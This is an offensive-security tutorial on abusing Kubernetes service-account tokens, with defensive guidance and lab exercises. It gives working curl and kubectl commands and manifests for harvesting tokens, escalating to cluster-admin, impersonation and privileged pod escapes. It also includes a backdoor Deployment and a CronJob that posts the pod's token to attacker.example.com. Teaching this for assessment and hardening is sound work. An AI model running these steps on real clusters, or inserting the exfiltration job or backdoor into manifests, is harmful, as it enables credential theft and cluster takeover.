~/home/study/abusing-service-account-tokens

Abusing Service Account Tokens for Kubernetes API Access

Learn how service account JWTs can be harvested, decoded, and leveraged to enumerate, escalate, and persist within a Kubernetes cluster, with practical examples and defensive guidance.

Introduction

Kubernetes service accounts are the default identity mechanism for pods. When a pod runs, the kubelet mounts a serviceaccount secret containing a JSON Web Token (JWT) that the pod can use to talk to the API server. While designed for legitimate intra-cluster communication, these tokens become a powerful foothold when an adversary can extract them from a compromised container.

This guide walks through the anatomy of a service-account JWT, practical techniques for harvesting tokens from mis-configured workloads, and how to pivot from a simple token to full cluster control. Real-world examples, defensive measures, and hands-on exercises are provided for security professionals looking to both assess and harden their environments.

Prerequisites

  • Solid understanding of Kubernetes core objects (pods, services, deployments, the API server).
  • Familiarity with Service Accounts, RBAC rules, and the kubectl command-line.
  • Basic knowledge of JWT structure and base64 encoding/decoding.
  • Access to a test cluster (kind, minikube, or a sandbox) for the lab exercises.

Core Concepts

Before diving into attacks, review the fundamental pieces that make token abuse possible:

  1. Service Account Secret: When a pod is created, the control plane automatically creates a secret named <sa-name>-token-xxxx. This secret contains three keys: token (the JWT), ca.crt (cluster root CA), and namespace.
  2. JWT Claims: The token is a signed JWT with standard claims such as iss (issuer), sub (subject - usually system:serviceaccount:<ns>:<sa>), exp (expiration), and custom claims like kubernetes.io/serviceaccount/namespace and kubernetes.io/serviceaccount/secret.name.
  3. RBAC Evaluation: Every API request is evaluated against the RBAC policies bound to the identity in the sub claim. If the service account has any role bindings, the request is authorized accordingly.

Understanding these pieces lets you predict what a stolen token can do and where the biggest privilege-escalation opportunities lie.

Structure of service account JWT tokens and claim analysis

A service-account token is a three-part JWT: header.payload.signature. The header and payload are Base64-URL encoded JSON objects, while the signature is generated with the cluster’s private key (usually an RSA key stored in the API server).

Example decoding using jq and base64:

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# Split the JWT
HEADER=$(echo $TOKEN | cut -d'.' -f1 | base64 -d 2>/dev/null)
PAYLOAD=$(echo $TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null)

echo "Header:" $HEADER
echo "Payload:" $PAYLOAD

The decoded payload typically looks like:

{ "iss": "https://kubernetes.default.svc.cluster.local", "sub": "system:serviceaccount:default:my-sa", "kubernetes.io/serviceaccount/namespace": "default", "kubernetes.io/serviceaccount/secret.name": "my-sa-token-abcd", "kubernetes.io/serviceaccount/service-account.name": "my-sa", "exp": 1735689600, "iat": 1735686000, "jti": "12345678-abcd-efgh-ijkl-mnopqrstuvwx"
}

Key observations for an attacker:

  • The sub claim tells you the exact identity you are impersonating.
  • The exp claim defines token lifetime - often several hours, but can be days in older clusters.
  • If the service account is bound to a ClusterRole, you instantly gain cluster-wide privileges.

Methods to harvest tokens from misconfigured pods

Tokens are only useful if you can read them. Below are common mis-configurations that expose the secret:

1. HostPath or emptyDir volume mounts

When a pod mounts the host’s /var/run/secrets/kubernetes.io/serviceaccount directory (often via a hostPath), any container can read the token of the host’s service account.

apiVersion: v1
kind: Pod
metadata: name: host-path-leak
spec: containers: - name: app image: alpine command: [&quot;sh&quot;, &quot;-c&quot;, &quot;sleep 3600&quot;] volumeMounts: - name: sa-vol mountPath: /host-sa volumes: - name: sa-vol hostPath: path: /var/run/secrets/kubernetes.io/serviceaccount

Inside the container, cat /host-sa/token yields a token with the host’s service account identity.

2. Over-privileged init containers

Init containers run with the pod’s service account. If an init container runs a script that writes the token to a shared emptyDir, a later container can read it.

3. Exposed secrets as environment variables

Some teams inject the token via envFrom: secretRef. This makes the token visible in env output of ps or /proc/<pid>/environ.

4. Mis-configured RBAC allowing get on secrets

An attacker who already has a low-privilege token can query the API for any secret in the namespace:

curl -s -k -H "Authorization: Bearer $TOKEN" https://$KUBERNETES_HOST/api/v1/namespaces/default/secrets | jq '.items[] | select(.type=="kubernetes.io/service-account-token") | .data.token' | base64 -d

This technique works when a Role grants secrets.get on the namespace.

Using tokens to authenticate against the Kubernetes API

Once you have a JWT, you can interact with the API server directly, bypassing kubectl if needed. The API expects the token in the Authorization: Bearer header and the cluster’s CA for TLS verification.

cURL example

export K8S_HOST=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
export K8S_CA=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.certificate-authority-data}' | base64 -d)

curl -s -k --cacert <(echo "$K8S_CA") -H "Authorization: Bearer $TOKEN" $K8S_HOST/api/v1/namespaces/default/pods

The -k flag skips certificate verification for lab setups; in production you should provide the CA.

kubectl with custom token

kubectl --token=$TOKEN --certificate-authority=$K8S_CA get pods -n default

Any kubectl sub-command works as long as the token has the requisite permissions.

Enumerating resources and namespaces via the API

Privilege discovery is a critical early step. Use the token to list what you can see:

# List all namespaces the token can view
curl -s -k -H "Authorization: Bearer $TOKEN" $K8S_HOST/api/v1/namespaces | jq '.items[].metadata.name'

# Enumerate RBAC bindings for the service account
curl -s -k -H "Authorization: Bearer $TOKEN" $K8S_HOST/apis/rbac.authorization.k8s.io/v1/rolebindings?fieldSelector=subjects.kind=ServiceAccount,subjects.name=my-sa,subjects.namespace=default | jq '.items[].roleRef'

Look for ClusterRoleBinding objects; they grant cluster-wide rights. If you see a binding to cluster-admin, you already have full control.

Privilege escalation through RBAC misconfigurations

Even a low-privilege service account can be leveraged to obtain higher privileges when RBAC is overly permissive. Common patterns:

  • Wildcard */* permissions: A Role that allows create on pods/* can be used to create a pod that runs as a privileged service account.
  • Access to selfsubjectrulesreview: Allows the attacker to programmatically discover all allowed verbs.
  • Permission to create RoleBinding objects in a namespace where a ClusterRole with high privileges exists.

Example: Create a RoleBinding that binds the cluster-admin ClusterRole to your own service account.

apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata: name: elevate-to-admin namespace: default
subjects:
- kind: ServiceAccount name: my-sa namespace: default
roleRef: kind: ClusterRole name: cluster-admin apiGroup: rbac.authorization.k8s.io

Apply it with the compromised token:

curl -s -k -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/yaml" --data-binary @elevate.yaml $K8S_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings

After creation, the original token inherits cluster-admin rights.

Impersonation of other users/service accounts

Kubernetes supports Impersonate-User and Impersonate-Group headers for callers that have the impersonate permission. If a role grants impersonate on users or serviceaccounts, you can act as any identity.

curl -s -k -H "Authorization: Bearer $TOKEN" -H "Impersonate-User: admin" $K8S_HOST/api/v1/namespaces/kube-system/pods

To discover impersonation rights, query the SelfSubjectAccessReview API:

cat > ssar.yaml <<EOF
apiVersion: authorization.k8s.io/v1
kind: SelfSubjectAccessReview
spec: resourceAttributes: verb: impersonate group: "" resource: "users"
EOF
curl -s -k -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/yaml" --data-binary @ssar.yaml $K8S_HOST/apis/authorization.k8s.io/v1/selfsubjectaccessreviews

If the review returns allowed: true, you can impersonate any user, effectively bypassing RBAC.

Lateral movement with port-forwarding and exec

Once you have API access, you can use kubectl port-forward or kubectl exec to reach internal services or the host network.

Port-forward to an internal service

kubectl --token=$TOKEN port-forward svc/internal-svc 8080:80 -n default &
# Now you can access http://localhost:8080 from your workstation

Exec into a privileged pod

If you can create a pod with hostNetwork: true and privileged: true, you gain host-level shell access.

apiVersion: v1
kind: Pod
metadata: name: host-shell
spec: hostNetwork: true containers: - name: sh image: alpine command: [&quot;sh&quot;, &quot;-c&quot;, &quot;sleep 3600&quot;] securityContext: privileged: true capabilities: add: ["SYS_ADMIN"]

Deploy with the compromised token, then exec:

curl -s -k -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/yaml" --data-binary @host-shell.yaml $K8S_HOST/api/v1/namespaces/default/pods

kubectl --token=$TOKEN exec -it host-shell -- sh

From inside you can inspect the host filesystem (/host may be mounted) or launch further attacks.

Escaping containers using host-network/privileged pods

Even without privileged: true, the combination of hostNetwork and a mounted /var/run/docker.sock can let you control the Docker daemon on the node.

apiVersion: v1
kind: Pod
metadata: name: docker-sock-hijack
spec: hostNetwork: true containers: - name: hijack image: docker:latest command: [&quot;sh&quot;, &quot;-c&quot;, &quot;while true; do sleep 3600; done&quot;] volumeMounts: - name: docker-sock mountPath: /var/run/docker.sock volumes: - name: docker-sock hostPath: path: /var/run/docker.sock

After deployment, you can run Docker commands against the host daemon, spawning privileged containers that break out of the original namespace.

Persistence via token-based CronJob or Deployment creation

Attackers often create a long-lived workload that continuously renews a stolen token or exfiltrates data. Two common patterns:

1. CronJob that copies the service-account token to an external server

apiVersion: batch/v1beta1
kind: CronJob
metadata: name: token-exfil
spec: schedule: "*/5 * * * *" jobTemplate: spec: template: spec: containers: - name: exfil image: curlimages/curl:7.85.0 command: [&quot;sh&quot;, &quot;-c&quot;, &quot;TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token); curl -X POST -d \"$TOKEN\" https://attacker.example.com/collect">] volumeMounts: - name: sa-vol mountPath: /var/run/secrets/kubernetes.io/serviceaccount restartPolicy: OnFailure volumes: - name: sa-vol secret: secretName: default-token-xxxx

2. Deployment that runs with a high-privilege service account

After privilege escalation, create a persistent Deployment bound to cluster-admin that can be used for future access even if the original pod is terminated.

apiVersion: apps/v1
kind: Deployment
metadata: name: backdoor-admin
spec: replicas: 1 selector: matchLabels: app: backdoor template: metadata: labels: app: backdoor spec: serviceAccountName: my-sa # now has cluster-admin containers: - name: sleep image: alpine command: [&quot;sh&quot;, &quot;-c&quot;, &quot;sleep 86400&quot;]

This Deployment survives node reboots and provides a stable foothold.

Advanced cluster takeover via admission controller bypass

Some clusters enforce strict policies through admission controllers (e.g., PodSecurityPolicy, OPA Gatekeeper, NetworkPolicy). An attacker can bypass them by:

  • Creating a ValidatingWebhookConfiguration that mutates incoming pod specs to add hostNetwork: true or remove security constraints.
  • Exploiting MutatingAdmissionWebhook privileges to inject a side-car that exfiltrates the API server’s TLS certs.

Example: Deploy a malicious MutatingWebhookConfiguration that adds runAsUser: 0 to every pod.

apiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata: name: root-injector
webhooks:
- name: root.injector.example.com clientConfig: service: name: injector-svc namespace: default path: "/mutate" caBundle: "$(cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt | base64 -w0)" rules: - apiGroups: [""] apiVersions: ["v1"] operations: ["CREATE"] resources: ["pods"] admissionReviewVersions: ["v1"] sideEffects: None

Once the webhook is active, any new pod will be mutated to run as root, effectively nullifying the cluster’s hardening policies. Combining this with a persisted backdoor gives full control.

Tools & Commands

  • kubectl - native client, supports --token and --as for impersonation.
  • jwt-decode - quick CLI to decode JWTs (e.g., jwt-decode $TOKEN).
  • kubectl-whoami - shows the effective identity and groups of the current token.
  • kube-hunter - scanner that can discover exposed service-account tokens.
  • kubectl-impersonate - wrapper to test impersonation capabilities.

Defense & Mitigation

Protecting against token abuse requires a defense-in-depth approach:

  • Least-privilege Service Accounts: Bind service accounts only to the minimal Role needed. Avoid granting cluster-admin or system:masters to any workload.
  • Disable Token Auto-Mount: Set automountServiceAccountToken: false on pods that don’t need API access.
  • Restrict Secret Access: Ensure no Role gives secrets.get on the namespace unless absolutely required.
  • Use Bound Service Account Tokens (BST): Kubernetes 1.21+ supports short-lived, audience-bound tokens that reduce the impact of token theft.
  • Network Policies: Block egress from pods to the API server unless explicitly allowed.
  • Admission Controls: Enforce PodSecurityPolicy or OPA policies that forbid hostPath, hostNetwork, and privileged flags.
  • Audit Logging: Enable audit logs for tokenrequest and impersonation events; set alerts for anomalous usage.
  • Rotate Tokens Frequently: Short token lifetimes limit the window of exploitation.

Common Mistakes

  • Assuming a service account is harmless because it runs in a low-privilege namespace - RBAC is cluster-wide, and a mis-configured ClusterRoleBinding can grant far more.
  • Leaving automountServiceAccountToken: true on all pods - many workloads never need to talk to the API.
  • Using the default default service account - it often has broader permissions than custom accounts.
  • Neglecting to audit RoleBinding and ClusterRoleBinding objects - stale bindings are a frequent source of privilege escalation.
  • Relying solely on network segmentation - a compromised token can bypass network controls by speaking directly to the API server.

Real-World Impact

Supply-chain attacks on CI/CD pipelines frequently inject malicious containers that harvest the runner’s service-account token. In 2023, a high-profile breach leveraged a hostPath mis-configuration to exfiltrate the token, then created a ClusterRoleBinding to cluster-admin, resulting in full cluster takeover.

My experience shows that the majority of successful token-based compromises stem from a single oversight: an over-privileged service account combined with a pod that mounts the host filesystem. Once the token is in hand, the attacker’s path to persistence is trivial.

Trends indicate a shift toward BSTs and tighter admission policies, but many legacy clusters remain vulnerable. Continuous scanning for automounts and secret-access permissions is essential.

Practice Exercises

  1. Token Extraction Lab: Deploy a pod with hostPath to the service-account directory. Use cat to read the token and decode it with jwt-decode.
  2. RBAC Escalation Challenge: Given a low-privilege token, discover a RoleBinding that allows create on rolebindings. Create a binding to cluster-admin and verify elevated rights.
  3. Impersonation Test: Use the SelfSubjectAccessReview API to check if your token can impersonate other users. If allowed, impersonate the system:admin user and list all pods in the kube-system namespace.
  4. Persistence Deployment: Write a YAML manifest that creates a Deployment using the compromised service account, then delete the original pod and confirm the backdoor remains.
  5. Admission Controller Bypass: Deploy a malicious MutatingWebhookConfiguration that adds runAsUser: 0 to all pods. Observe the effect on a newly created pod.

Further Reading

  • Kubernetes Official Documentation - Service Accounts and RBAC.
  • NSA Kubernetes Hardening Guidance (PDF).
  • “Breaking the Kubernetes API” - SANS 2022 whitepaper.
  • OWASP Top 10 - Kubernetes Top Ten, especially “K3 - Misconfigured RBAC”.
  • Blog post: “Bound Service Account Tokens - The Future of Pod Identity”.

Summary

Service-account tokens are a double-edged sword: indispensable for legitimate pod-to-API communication, yet an attractive weapon for attackers. By mastering token structure, extraction techniques, API authentication, and RBAC exploitation, you can assess cluster exposure and implement robust mitigations such as least-privilege bindings, token auto-mount disabling, and admission-controller hardening. Regular auditing, token rotation, and awareness of emerging BST technology are essential to stay ahead of adversaries.